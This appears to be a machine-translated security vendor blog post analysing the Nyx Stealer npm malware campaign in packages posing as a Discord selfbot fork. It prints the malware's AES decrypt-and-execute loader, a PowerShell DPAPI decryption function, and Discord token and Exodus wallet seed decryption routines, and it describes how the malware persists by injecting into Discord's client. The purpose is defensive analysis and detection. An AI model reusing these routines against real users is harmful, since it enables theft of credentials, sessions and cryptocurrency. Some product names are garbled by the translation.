TL博士
Xygeni 安全研究团队 发现了一起通过两个恶意软件包传播的复杂的 npm 信息窃取活动: 控制台 以及 自机器人-lofy.
最新版本 (consolelofy@1.3.0) 嵌入一个 216KB 的 AES 加密有效载荷,该有效载荷在运行时解密并通过以下方式执行: vm.runInNewContext()由于恶意逻辑完全加密,依赖字符串检查的静态扫描器在执行之前无法观察到其行为。
解密后,有效载荷(内部品牌) 尼克斯窃贼, 目标:
- Discord身份验证令牌
- 50多个浏览器凭据存储
- 90多个加密货币钱包扩展程序
- Roblox、Instagram、Spotify、Steam、Telegram 和 TikTok 会话
- Discord桌面客户端持久性
报告显示,两个软件包中的所有 20 个版本均为恶意版本,并已确认其恶意性质。
npm 信息窃取器的技术概述
与传统的安装时恶意软件不同,此次攻击活动依赖于…… 运行 解密模型.
有:
- 无恶意
preinstallorpostinstallhooks - 没有明显的安装时网络调用
- 没有明文凭证收集逻辑
模块导入时,有效载荷会被激活。整个恶意代码都被加密,仅在运行时才会加载到内存中。
这种设计专门避免在软件包安装过程中被检测到。
这个 npm 信息窃取器实际是如何执行的
在分析 Nyx Stealer 窃取什么之前,我们需要了解 它是如何执行的.
这个 npm 信息窃取程序内部的恶意逻辑遵循着一致的模式:
一个小型加载器解密一个大型加密有效载荷,并在 Node.js VM 上下文中动态执行它。
这种设计是蓄意的。攻击者并非仅仅通过混淆来隐藏功能,他们…… 完全从静态可见性中移除恶意代码.
高级执行模型
从总体上看,该包装器执行四项操作:
- 使用 SHA-256 算法从硬编码的密码短语派生出 AES 密钥。
- 使用 AES-256-CBC 解密大型十六进制编码密文
- 使用以下方式执行已解密的 JavaScript:
vm.runInNewContext() - 提供一个沙箱环境,同时仍然开放强大的运行时原语。
核心技术概述
| 元件 | 配置/值 |
|---|---|
| 算法 | AES-256-CBC |
| 密钥派生 | SHA-256(密码) |
| 初始化向量(IV) | 16 字节的 0x00 |
| 执行 | vm.runInNewContext(decrypted, sandbox) |
至关重要的是,沙盒会经过以下几个阶段:
requireprocessBuffer- 定时器
- 模块导出
这意味着解密后的有效载荷仍然具备以下全部能力:
- 生成过程
- 读取和写入文件
- 拨打网络电话
- 修改本地应用程序
这不是一台受限虚拟机,而是一台用作执行跳板的虚拟机。
运行时加密模式(核心执行机制)
装载机很小。
恶意主体并非如此。
以下是软件包内部的执行模式:
const crypto = require('crypto');
const vm = require('vm');
function decryptAndExecute(encryptedHex, passphrase) {
const key = crypto.createHash('sha256')
.update(passphrase)
.digest();
const iv = Buffer.alloc(16, 0);
const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);
let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');
decrypted += decipher.final('utf8');
const sandbox = {
require,
module,
exports,
console,
process,
Buffer,
__dirname,
__filename,
setTimeout,
setInterval,
clearTimeout,
clearInterval
};
vm.runInNewContext(decrypted, sandbox);
}
为什么重要意义
解密后的有效载荷:
- 儿童在 不会 以明文形式存在于 npm 包中
- 对简单用户来说是不可见的
grep或静态字符串扫描 - 仅在运行时才会在内存中实例化。
- 以完整的 Node 运行时功能执行
AES + VM 执行组合是强有力的行为指标,表明存在某种问题。 npm 信息窃取程序试图绕过静态检查.
换一种说法:
如果扫描软件包源代码树,则不会发现窃取者。
你看到的是一个解密器。
解密之后会发生什么
一旦执行,Nyx Stealer 就会启动并行数据收集波。
第一阶段:浏览器凭证提取
恶意软件:
- 从 NuGet CDN 下载 Python 运行时环境
- 安装加密库
- 提取基于 Chromium 的凭证存储
- 解密受 DPAPI 保护的密钥
它不编译本地绑定,而是利用 PowerShell 直接调用 Windows DPAPI。
function dpapiUnprotectWithPowerShell(dataBuf) {
const b64 = dataBuf.toString('base64');
const ps =
"Add-Type -AssemblyName System.Security;" +
"$b=[Convert]::FromBase64String('" + b64 + "');" +
"$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +
"$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +
"[Console]::Out.Write([Convert]::ToBase64String($p))";
const cmd =
`powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;
return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64');
}
这种方法:
- 避免编译产物
- 使用原生 Windows 加密 API
- 融入管理工具
这是操作系统级别的凭证解密,而不是数据抓取。
第二波:Discord Token 解密
窃取者了解协议。它能理解 Discord 的加密令牌格式。
function decryptToken(encryptedToken, key) {
const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');
const encryptedData = Buffer.from(tokenParts[1], 'base64');
const iv = encryptedData.slice(3, 15);
const ciphertext = encryptedData.slice(15, -16);
const tag = encryptedData.slice(-16);
const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);
decipher.setAuthTag(tag);
return decipher.update(ciphertext).toString('utf8');
}
操作流程:
- 从 Discord 中提取主密钥
Local State - 通过 DPAPI 解密主密钥
- 解密 AES-GCM 令牌块
- 使用 Discord API 验证令牌
- 丰富 Nitro、徽章和账单信息
这不是普通的凭证转储,而是协议感知型会话劫持。
第三波:加密货币钱包目标定位
npm 信息窃取器列举了以下内容:
- 90+ 款浏览器钱包扩展程序
- 27款桌面钱包
- 冷钱包路径
- 出埃及记种子文件
种子解密尝试示例:
function decryptSeco(content, password) {
const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');
const decipher = crypto.createDecipheriv(
'aes-256-gcm',
key,
content.slice(0, 12)
);
decipher.setAuthTag(content.slice(-16));
return Buffer.concat([
decipher.update(content.slice(12, -16)),
decipher.final()
]).toString('utf8');
}
如果得逞,钱包被盗是立即且不可逆转的。
这代表了该活动价值最高的盈利途径。
通过 Discord 桌面注入实现持久化
在窃取凭证后,Nyx Stealer 会尝试通过修改本地文件来实现持久化。 Discord 专属社区 顾客。
Target:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js
操作顺序
信息窃取程序会执行以下步骤:
- 终止正在运行的 Discord 进程
- 查找已安装的 Discord 版本(稳定版、Canary 版、PTB 版)
- 覆盖
discord_desktop_core/index.js - 注入攻击者控制的 webhook 逻辑
- 重启 Discord
这样可以确保未来的 Discord 会话自动泄露新的身份验证令牌。
重要的是,这种持久化并不依赖于计划任务或注册表修改,而是利用应用程序级别的代码修改,这是一种更隐蔽的方法。
即使恶意 npm 包随后被移除,Discord 客户端仍然会被入侵。
技术对比:合法的 Selfbot 与 npm Infostealer
| 元件 | 合法图书馆 | Nyx npm 信息窃取者 |
|---|---|---|
| 加密 | 没有 | 完整的AES加密有效载荷 |
| 运行时虚拟机 | 不需要 | vm.runInNewContext 执行 |
| 凭证访问 | 仅限 Discord API | 浏览器、钱包、DPAPI |
| 外部下载 | 没有 | 通过 NuGet 运行 Python 运行时。 |
| 坚持 | 没有 | Discord客户端注入 |
| 货币化 | 机器人自动化 | 证书转售 |
单是加密层就足以将这个项目与典型的开源分支区分开来。
一个合法的 Discord 自研机器人没有理由加密其整个代码库、启动 PowerShell 来访问 DPAPI、下载外部运行时环境或修改桌面应用程序的内部结构。当这些功能出现在声称可以自动化 Discord 交互的依赖项中时,这种架构上的不匹配就变得无法忽视了。
从调查角度来看,这个 npm 信息窃取工具会在多个层面留下痕迹。然而,最可靠的线索并非硬编码的 URL 或特定的文件路径,因为这些内容可能会在不同版本之间发生变化。相反,持久有效的线索是结构性的。
在软件包层面,最明显的危险信号是大型加密有效载荷与运行时解密包装器(该包装器会立即执行)的组合。 vm.runInNewContext()虽然加密本身并不具有恶意,但在 Discord 实用程序包中使用 AES 解密,然后再进行动态 VM 执行,这是非常不寻常的。
在主机层面,可疑模式包括意外的 DPAPI 解密活动、从 Node.js 依赖上下文中生成的进程,以及第三方库不应修改的本地应用程序文件的修改。同样,在网络层面,由开发依赖项发起的出站 webhook 式通信也代表着一种重要的异常情况。
换句话说,检测面并非单一的入侵指标。加密、运行时执行、凭证访问和持久化行为之间的关联性才能揭示威胁。
利用 Xygeni 进行检测和缓解
这个 npm 信息窃取程序已被发现 Xygeni 的恶意软件预警 (MEW) 通过分层行为相关性而非简单的特征匹配。
MEW 并非搜索已知的恶意字符串,而是评估整个源代码树中的结构异常。在本例中,检测结果源于多个信号的汇聚:模块入口点中嵌入的 AES 解密例程、在虚拟机上下文中立即执行以及明显的能力与意图不符。
重要的是,这些信号单独来看都无法证明存在恶意意图。然而,当综合分析这些信号时,它们揭示了一种试图掩盖运行时行为的企图。这种分层方法显著降低了误报率,同时识别出高置信度的供应链威胁。
此外,本案例也说明了仅靠安装时检查是不够的。恶意逻辑并非驻留在生命周期脚本中,而是在模块加载后才激活,并且只有在内存中解密后才会显现。因此,有效的防御需要具备加密感知分析、行为模式识别以及安装事件之外的持续依赖关系监控能力。
注册表删除是被动的,而运行时感知分析是预防性的。
为什么这个 npm 信息窃取器如此重要
Nyx Stealer 代表了基于 npm 的恶意软件的结构演变。
以往,许多恶意软件包依赖于可见的安装时脚本或明显的凭证窃取端点。相比之下,此次攻击活动对其有效载荷进行加密,将执行延迟到运行时,利用合法的操作系统 API,并在受信任的应用程序中建立持久性。
因此,攻击者无需利用 npm 基础设施本身。攻击之所以成功,是因为依赖项的安装意味着信任。开发者通常认为导入库是安全的,尤其当该库伪装成某个流行工具的可靠分支时。
随着生态系统不断发展壮大,分支层出不穷,这种隐式的信任边界正逐渐成为极具吸引力的攻击面。因此,防御现代 npm 信息窃取攻击的关键在于识别架构模式,而非仅仅搜索静态字符串。
最终,这场运动强化了一个至关重要的教训: software supply chain security最危险的威胁不是那些乍一看很恶意的威胁,而是那些在运行时才会显露出其真实行为的结构上看似合法的威胁。




